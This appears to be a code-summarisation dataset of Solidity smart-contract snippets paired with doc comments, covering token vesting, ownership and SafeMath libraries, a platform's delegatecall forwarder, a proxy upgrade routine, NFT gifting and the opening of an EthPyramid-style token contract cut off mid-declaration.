token.transfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenTimelock: cannot revoke"); require(!_revoked[address(token)], "TokenTimelock: token already revoked"); uint256 balance = token.balanceOf(address(this)); uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _revoked[address(token)] = true; token.transfer(owner(), refund); emit TokenTimelockRevoked(address(token)); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[address(token)]); } /** * @dev Calculates the amount that should be vested totally. * @param token ERC20 token which is being vested */ function _vestedAmount(IERC20 token) private view returns (uint256) { uint256 currentBalance = token.balanceOf(address(this));//token balance in TokenTimelock contract uint256 totalBalance = currentBalance.add(_released[address(token)]);//total balance in TokenTimelock contract uint256[4] memory periodEndTimestamp; periodEndTimestamp[0] = _start.add(_durationRatio[0]._periodDuration); periodEndTimestamp[1] = periodEndTimestamp[0].add(_durationRatio[1]._periodDuration); periodEndTimestamp[2] = periodEndTimestamp[1].add(_durationRatio[2]._periodDuration); periodEndTimestamp[3] = periodEndTimestamp[2].add(_durationRatio[3]._periodDuration); uint256 releaseRatio; if (block.timestamp < periodEndTimestamp[0]) { return 0; }else if(block.timestamp >= periodEndTimestamp[0] && block.timestamp < periodEndTimestamp[1]){ releaseRatio = _durationRatio[0]._periodReleaseRatio; }else if(block.timestamp >= periodEndTimestamp[1] && block.timestamp < periodEndTimestamp[2]){ releaseRatio = _durationRatio[0]._periodReleaseRatio.add(_durationRatio[1]._periodReleaseRatio); }else if(block.timestamp >= periodEndTimestamp[2] && block.timestamp < periodEndTimestamp[3]) { releaseRatio = _durationRatio[0]._periodReleaseRatio.add(_durationRatio[1]._periodReleaseRatio).add(_durationRatio[2]._periodReleaseRatio); } else { releaseRatio = 100; } return releaseRatio.mul(totalBalance).div(100); } } pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "./IERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; /** * @title TokenTimelock * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. * use this contract need : * 1.release ERC20 contract; * 2.configure and release TokenTimelock contract * 3.transfer ERC20 Tokens which need to be timelocked to TokenTimelock contract * 4.when time reached, call release() to release tokens to beneficiary * * for example: * (D=Duration R=ReleaseRatio) * ^ * | * | * R4 | ———— * R3 | ———— * R2 | ———— * R1 | ———— * | * |——————————————————————————> * D1 D2 D3 D4 * * start = 2019-1-1 00:00:00 * D1=D2=D3=D4=1year * R1=10,R2=20,R3=30,R4=40 (please ensure R1+R2+R3+R4=100) * so, you will get below tokens in total * Time Tokens Get * Start~Start+D1 0 * Start+D1~Start+D1+D2 10% total in this Timelock contract * Start+D1+D2~Start+D1+D2+D3 10%+20% total * Start+D1+D2+D3~Start+D1+D2+D3+D4 10%+20%+30% total * Start+D1+D2+D3+D4~infinity 10%+20%+30%+40% total(usually ensures 100 percent) */ contract TokenTimelock is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; event TokensReleased(address token, uint256 amount); event TokenTimelockRevoked(address token); // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _start; uint256 private _totalDuration; //Durations and token release ratios expressed in UNIX time struct DurationsAndRatios{ uint256 _periodDuration; uint256 _periodReleaseRatio; } DurationsAndRatios[4] _durationRatio;//four period of duration and ratios bool private _revocable; mapping (address => uint256) private _released; mapping (address => bool) private _revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param start the time (as Unix time) at which point vesting starts * @param firstDuration: first period duration * @param firstRatio: first period release ratio * @param secondDuration: second period duration * @param secondRatio: second period release ratio * @param thirdDuration: third period duration * @param thirdRatio: third period release ratio * @param fourthDuration: fourth period duration * @param fourthRatio: fourth period release ratio * @param revocable whether the vesting is revocable or not */ constructor (address beneficiary, uint256 start, uint256 firstDuration,uint256 firstRatio,uint256 secondDuration, uint256 secondRatio, uint256 thirdDuration,uint256 thirdRatio,uint256 fourthDuration, uint256 fourthRatio,bool revocable) public { require(beneficiary != address(0), "TokenTimelock: beneficiary is the zero address"); require(firstRatio.add(secondRatio).add(thirdRatio).add(fourthRatio)==100, "TokenTimelock: ratios added not equal 100."); _beneficiary = beneficiary; _revocable = revocable; _start = start; _durationRatio[0]._periodDuration = firstDuration; _durationRatio[1]._periodDuration = secondDuration; _durationRatio[2]._periodDuration = thirdDuration; _durationRatio[3]._periodDuration = fourthDuration; _durationRatio[0]._periodReleaseRatio = firstRatio; _durationRatio[1]._periodReleaseRatio = secondRatio; _durationRatio[2]._periodReleaseRatio = thirdRatio; _durationRatio[3]._periodReleaseRatio = fourthRatio; _totalDuration = firstDuration.add(secondDuration).add(thirdDuration).add(fourthDuration); require(_start.add(_totalDuration) > block.timestamp, "TokenTimelock: final time is before current time"); } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the end time of every period. */ function getDurationsAndRatios() public view returns (uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) { return (_durationRatio[0]._periodDuration,_durationRatio[1]._periodDuration,_durationRatio[2]._periodDuration,_durationRatio[3]._periodDuration, _durationRatio[0]._periodReleaseRatio,_durationRatio[1]._periodReleaseRatio,_durationRatio[2]._periodReleaseRatio,_durationRatio[3]._periodReleaseRatio); } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return current time of the contract. */ function currentTime() public view returns (uint256) { return block.timestamp; } /** * @return the total duration of the token vesting. */ function totalDuration() public view returns (uint256) { return _totalDuration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return _revoked[token]; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenTimelock: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); token.transfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenTimelock: cannot revoke"); require(!_revoked[address(token)], "TokenTimelock: token already revoked"); uint256 balance = token.balanceOf(address(this)); uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _revoked[address(token)] = true; token.transfer(owner(), refund); emit TokenTimelockRevoked(address(token)); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[address(token)]); } /** * @dev Calculates the amount that should be vested totally. * @param token ERC20 token which is being vested */ function _vestedAmount(IERC20 token) private view returns (uint256) { uint256 currentBalance = token.balanceOf(address(this));//token balance in TokenTimelock contract uint256 totalBalance = currentBalance.add(_released[address(token)]);//total balance in TokenTimelock contract uint256[4] memory periodEndTimestamp; periodEndTimestamp[0] = _start.add(_durationRatio[0]._periodDuration); periodEndTimestamp[1] = periodEndTimestamp[0].add(_durationRatio[1]._periodDuration); periodEndTimestamp[2] = periodEndTimestamp[1].add(_durationRatio[2]._periodDuration); periodEndTimestamp[3] = periodEndTimestamp[2].add(_durationRatio[3]._periodDuration); uint256 releaseRatio; if (block.timestamp < periodEndTimestamp[0]) { return 0; }else if(block.timestamp >= periodEndTimestamp[0] && block.timestamp < periodEndTimestamp[1]){ releaseRatio = _durationRatio[0]._periodReleaseRatio; }else if(block.timestamp >= periodEndTimestamp[1] && block.timestamp < periodEndTimestamp[2]){ releaseRatio = _durationRatio[0]._periodReleaseRatio.add(_durationRatio[1]._periodReleaseRatio); }else if(block.timestamp >= periodEndTimestamp[2] && block.timestamp < periodEndTimestamp[3]) { releaseRatio = _durationRatio[0]._periodReleaseRatio.add(_durationRatio[1]._periodReleaseRatio).add(_durationRatio[2]._periodReleaseRatio); } else { releaseRatio = 100; } return releaseRatio.mul(totalBalance).div(100); } }
Allows the owner to revoke the vesting. Tokens already vested remain in the contract, the rest are returned to the owner. token ERC20 token which is being vested/
function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenTimelock: cannot revoke"); require(!_revoked[address(token)], "TokenTimelock: token already revoked"); uint256 balance = token.balanceOf(address(this)); uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _revoked[address(token)] = true; token.transfer(owner(), refund); emit TokenTimelockRevoked(address(token)); }
7,230,042
pragma solidity ^0.5.7; pragma experimental ABIEncoderV2; import "./SafeMath.sol"; import "./IToken.sol"; import "./MatryxSystem.sol"; import "./LibTournament.sol"; contract MatryxPlatform { using SafeMath for uint256; struct Info { address system; address token; address owner; } struct Data { uint256 totalBalance; // total allocated mtx balance of the platform mapping(address=>uint256) tournamentBalance; // maps tournament addresses to tournament balances mapping(bytes32=>uint256) commitBalance; // maps commit hashes to commit mtx balances mapping(address=>LibTournament.TournamentData) tournaments; // maps tournament addresses to tournament structs mapping(bytes32=>LibTournament.SubmissionData) submissions; // maps submission identifier to submission struct address[] allTournaments; // all matryx tournament addresses mapping(bytes32=>LibCommit.Commit) commits; // maps commit hashes to commits mapping(bytes32=>LibCommit.Group) groups; // maps group hashes to group structs mapping(bytes32=>bytes32) commitHashes; // maps content hashes to commit hashes mapping(bytes32=>bytes32[]) commitToSubmissions; // maps commits to submission created from them mapping(bytes32=>LibCommit.CommitWithdrawalStats) commitWithdrawalStats; // maps commit hash to withdrawal stats mapping(bytes32=>uint256) commitClaims; // timestamp of content hash claim mapping(address=>bool) whitelist; // user whitelist mapping(address=>bool) blacklist; // user blacklist } Info info; // slot 0 Data data; // slot 3 address pendingOwner; constructor(address system, address token) public { info.system = system; info.token = token; info.owner = msg.sender; } /// @dev /// 1) Uses msg.sender to ask MatryxSystem for the type of library this call should be forwarded to /// 2) Uses this library type to lookup (in its own storage) the name of the library /// 3) Uses this name to ask MatryxSystem for the address of the contract (under this platform's version) /// 4) Uses name and signature to ask MatryxSystem for the data necessary to modify the incoming calldata /// so as to be appropriate for the associated library call /// 5) Makes a delegatecall to the library address given by MatryxSystem with the library-appropriate calldata function () external { uint256 version = IMatryxSystem(info.system).getVersion(); bytes32 libName = IMatryxSystem(info.system).getLibraryName(msg.sender); bool isForwarded = libName != bytes32("LibPlatform"); assembly { if isForwarded { calldatacopy(0, 0x24, 0x20) // get injected version from calldata version := mload(0) // overwrite version var } } address libAddress = IMatryxSystem(info.system).getContract(version, libName); assembly { // constants let offset := 0x100000000000000000000000000000000000000000000000000000000 let res let ptr := mload(0x40) // scratch space for calldata let system := sload(info_slot) // load info.system address // get fnData from system mstore(ptr, mul(0x3b15aabf, offset)) // getContractMethod(uint256,bytes32,bytes32) mstore(add(ptr, 0x04), version) // arg 0 - version mstore(add(ptr, 0x24), libName) // arg 1 - library name mstore(add(ptr, 0x44), 0) // zero out uninitialized data calldatacopy(add(ptr, 0x44), 0, 0x04) // arg 2 - fn selector res := call(gas, system, 0, ptr, 0x64, 0, 0) // call system.getContractMethod returndatacopy(ptr, 0, returndatasize) // copy fnData into ptr if iszero(res) { revert(ptr, returndatasize) } // safety check let ptr2 := add(ptr, mload(ptr)) // ptr2 is pointer to start of fnData let m_injParams := add(ptr2, mload(add(ptr2, 0x20))) // mem loc injected params let injParams_len := mload(m_injParams) // num injected params m_injParams := add(m_injParams, 0x20) // first injected param let m_dynParams := add(ptr2, mload(add(ptr2, 0x40))) // memory location of start of dynamic params let dynParams_len := mload(m_dynParams) // num dynamic params m_dynParams := add(m_dynParams, 0x20) // first dynamic param // forward calldata to library ptr := add(ptr, returndatasize) // shift ptr to new scratch space mstore(ptr, mload(ptr2)) // forward call with modified selector ptr2 := add(ptr, 0x04) // copy of ptr for keeping track of injected params mstore(ptr2, address) // inject platform mstore(add(ptr2, 0x20), caller) // inject msg.sender let cdOffset := 0x04 // calldata offset, after signature if isForwarded { mstore(ptr2, caller) // overwrite injected platform with sender calldatacopy(add(ptr2, 0x20), 0x04, 0x20) // overwrite injected sender with address from forwarder cdOffset := add(cdOffset, 0x40) // shift calldata offset for injected address and version } ptr2 := add(ptr2, 0x40) // shift ptr2 to account for injected addresses for { let i := 0 } lt(i, injParams_len) { i := add(i, 1) } { // loop through injected params and insert let injParam := mload(add(m_injParams, mul(i, 0x20))) // get injected param slot mstore(ptr2, injParam) // store injected params into next slot ptr2 := add(ptr2, 0x20) // shift ptr2 by a word for each injected } calldatacopy(ptr2, cdOffset, sub(calldatasize, cdOffset)) // copy calldata after injected data storage for { let i := 0 } lt(i, dynParams_len) { i := add(i, 1) } { // loop through params and update dynamic param locations let idx := mload(add(m_dynParams, mul(i, 0x20))) // get dynParam index in parameters let loc := add(ptr2, mul(idx, 0x20)) // get location in memory of dynParam mstore(loc, add(mload(loc), mul(add(injParams_len, 2), 0x20))) // shift dynParam location by num injected } // calculate size of forwarded call let size := add(0x04, sub(calldatasize, cdOffset)) // calldatasize minus injected size := add(size, mul(add(injParams_len, 2), 0x20)) // add size of injected res := delegatecall(gas, libAddress, ptr, size, 0, 0) // delegatecall to library returndatacopy(ptr, 0, returndatasize) // copy return data into ptr for returning if iszero(res) { revert(ptr, returndatasize) } // safety check return(ptr, returndatasize) // return forwarded call returndata } } modifier onlyOwner() { require(msg.sender == info.owner, "Must be Platform owner"); _; } /// @dev Enables address to accept ownership of the platform /// @param newOwner New owner address function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0)); pendingOwner = newOwner; } /// @dev Accepts ownership transfer function acceptOwnership() external { require(msg.sender == pendingOwner); info.owner = pendingOwner; pendingOwner = address(0); } /// @dev Sets the Token address /// @param token New token address function upgradeToken(address token) external onlyOwner { IToken(info.token).upgrade(data.totalBalance); require(IToken(token).balanceOf(address(this)) == data.totalBalance, "Token address must match upgraded token"); info.token = token; } /// @dev Withdraws any unallocated ERC20 tokens from Platform /// @param token ERC20 token address to use function withdrawTokens(address token) external onlyOwner { uint256 balance = IToken(token).balanceOf(address(this)); // if current token, check if any extraneous tokens if (token == info.token) { balance = balance.sub(data.totalBalance); } require(IToken(token).transfer(msg.sender, balance), "Transfer failed"); } } interface IMatryxPlatform { event TournamentCreated(address indexed tournament, address indexed creator); event TournamentUpdated(address indexed tournament); event TournamentBountyAdded(address indexed tournament, address indexed donor, uint256 amount); event RoundCreated(address indexed tournament, uint256 roundIndex); event RoundUpdated(address indexed tournament, uint256 roundIndex); event RoundWinnersSelected(address indexed tournament, uint256 roundIndex); event SubmissionCreated(address indexed tournament, bytes32 submissionHash, address indexed creator); event SubmissionRewarded(address indexed tournament, bytes32 submissionHash); event GroupMemberAdded(bytes32 indexed commitHash, address indexed user); event CommitClaimed(bytes32 commitHash); event CommitCreated(bytes32 indexed parentHash, bytes32 commitHash, address indexed creator, bool indexed isFork); function transferOwnership(address newOwner) external; function acceptOwnership() external; function upgradeToken(address token) external; function withdrawTokens(address token) external; function getInfo() external view returns (MatryxPlatform.Info memory); function isTournament(address tournament) external view returns (bool); function isCommit(bytes32 commitHash) external view returns (bool); function isSubmission(bytes32 submissionHash) external view returns (bool); function getTotalBalance() external view returns (uint256); function getTournamentCount() external view returns (uint256); function getTournaments() external view returns (address[] memory); function getSubmission(bytes32 submissionHash) external view returns (LibTournament.SubmissionData memory); function setUserBlacklisted(address user, bool isBlacklisted) external; function createTournament(LibTournament.TournamentDetails calldata, LibTournament.RoundDetails calldata) external returns (address); }
Withdraws any unallocated ERC20 tokens from Platform token ERC20 token address to use if current token, check if any extraneous tokens
function withdrawTokens(address token) external onlyOwner { uint256 balance = IToken(token).balanceOf(address(this)); if (token == info.token) { balance = balance.sub(data.totalBalance); } require(IToken(token).transfer(msg.sender, balance), "Transfer failed"); }
12,843,227
./full_match/80001/0x1827E01d3c59CDB94c01D4B1cE98Bb7d44BDE4aD/sources/_solidstate/contracts/token/ERC20/permit/ERC20PermitInternal.sol
get the current chain ID return chainId chain ID/
function _chainId() private view returns (uint256 chainId) { assembly { chainId := chainid() } }
9,529,459
./partial_match/1/0x1344A36A1B56144C3Bc62E7757377D288fDE0369/sources/nProxy.sol
Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. Emits an {Upgraded} event./ Initial upgrade and setup call Trigger rollback using upgradeTo from the new implementation Check rollback was effective Finally reset to the new implementation and log the upgrade
function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } if (!rollbackTesting.value) { rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); _upgradeTo(newImplementation); } }
4,259,422
./full_match/1/0xf607014406bc3Fa7aAB224a85A0318b4556e9C28/sources/browser/SingleAuctionLogicV1.sol
transfer following the ERC2665 standard Only callable by the auction house _contributor The operator paying the transfer fee _to The address of the new owner
function transferERC2665(address _contributor, address _to) external payable restrictedToAuctionHouse() { if(msg.value != 0){ distributeStakeholdersPayouts(msg.value, _contributor); } require(hammerTime == 0, "Can't transfer a cryptograph under sale"); if(sellingPrice != 0){ sellingPrice = 0; emit SellingPriceAdjusted(_contributor, 0); } TheCryptographLogicV1(myCryptograph).transfer(_to); isBeingERC2665Approved = false; }
3,152,056
./full_match/1/0x13Da7C056d46DDB617D5c9EB0EC9e52cb00A26dd/sources/src/ethereum/eth-vaults/general/GeneralMatureHoldingVaultV2.sol
Transfers ownership of the contract to a new account (`newOwner`). Internal function without access restriction./
function _transferOwnership(address newOwner) internal { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } event RewardsClaimed(uint256 _amount, address _receiver); event YieldReceiverChanged(address indexed _oldYieldReceiver, address indexed _newYieldReceiver); event MatureDeposited(uint256 _amount, uint256 _totalHoldings); event MatureWithdrawn(uint256 _amount, address _receiver, uint256 _totalHoldings);
2,899,318
./full_match/80001/0x7ff4f2081c92C5f83A6525E3b3AC66B9Ee4A5e08/sources/GiftingContract.sol
Increment the amountGifted and map msg.sender to the Token Id of the staked Wallet must own the token they are trying to stake Transfer the token from the wallet to the Smart contract Create StakedToken Add the token to the stakedTokens array Increment the amount staked for this wallet Update the mapping of the tokenId to the staker's address Update the mapping of the tokenId to the recipient's address Update the mapping of the tokenId to the wrapper id update the mapping of the tokenId to its contract
function send( uint256 _tokenId, address _to, uint256 _wrapperId, IERC721 _nftCollection ) external nonReentrant { require( _nftCollection.ownerOf(_tokenId) == msg.sender, "You don't own this token!" ); _nftCollection.transferFrom(msg.sender, address(this), _tokenId); GiftToken memory giftToken = GiftToken( msg.sender, _to, _tokenId, _wrapperId ); senders[msg.sender].giftTokens.push(giftToken); senders[msg.sender].amountGifted++; senderAddress[_tokenId] = msg.sender; recipientAddress[_tokenId] = _to; wrapperIds[_tokenId] = _wrapperId; nftContracts[_tokenId] = _nftCollection; }
5,568,054
./partial_match/1/0x2476eC85e55625Eb658CAFAFe5fdc0FAE2954C85/sources/Strategy.sol
Transfer 100% of newly-minted shares awarded to this contract to the rewards address.
function distributeRewards() internal override { vault.transfer(rewards, vault.balanceOf(address(this))); }
16,043,937
./partial_match/4/0x0E3F7B4935df38625FD8B7c7C073BA8399f3029A/sources/GenesisPool.sol
increments the value of _currentTokenID/
function _incrementTokenTypeId() private { _currentTokenID++; }
8,617,963
pragma solidity ^0.4.21; contract ERC20Interface { function totalSupply() public constant returns (uint256); function balanceOf(address tokenOwner) public constant returns (uint256 balance); function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom(address from, address to, uint256 tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract EthPyBase { function buy(address) public payable returns(uint256){} function withdraw() public {} function myTokens() public view returns(uint256){} } contract Owned { address public owner; address public ownerCandidate; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner { ownerCandidate = _newOwner; } function acceptOwnership() public { require(msg.sender == ownerCandidate); owner = ownerCandidate; } } contract EPTest is Owned { address public twin_contract; EthPyBase twin; function addTwinAddress(address twinAddress) public onlyOwner { require(twinAddress != address(this)); twin_contract = twinAddress; twin = EthPyBase(twin_contract); } // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000; // 2^64 // CRR = 50% // CRR is Cash Reserve Ratio (in this case Crypto Reserve Ratio). // For more on this: check out https://en.wikipedia.org/wiki/Reserve_requirement int constant crr_n = 1; // CRR numerator int constant crr_d = 2; // CRR denominator // The price coefficient. Chosen such that at 1 token total supply // the amount in reserve is 0.5 ether and token price is 1 Ether. int constant price_coeff = -0x296ABF784A358468C; // Typical values that we have to declare. string constant public name = "EPTest"; string constant public symbol = "EPY"; uint8 constant public decimals = 18; // Array between each address and their number of tokens. mapping(address => uint256) public tokenBalance; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; // Variable tracking how much 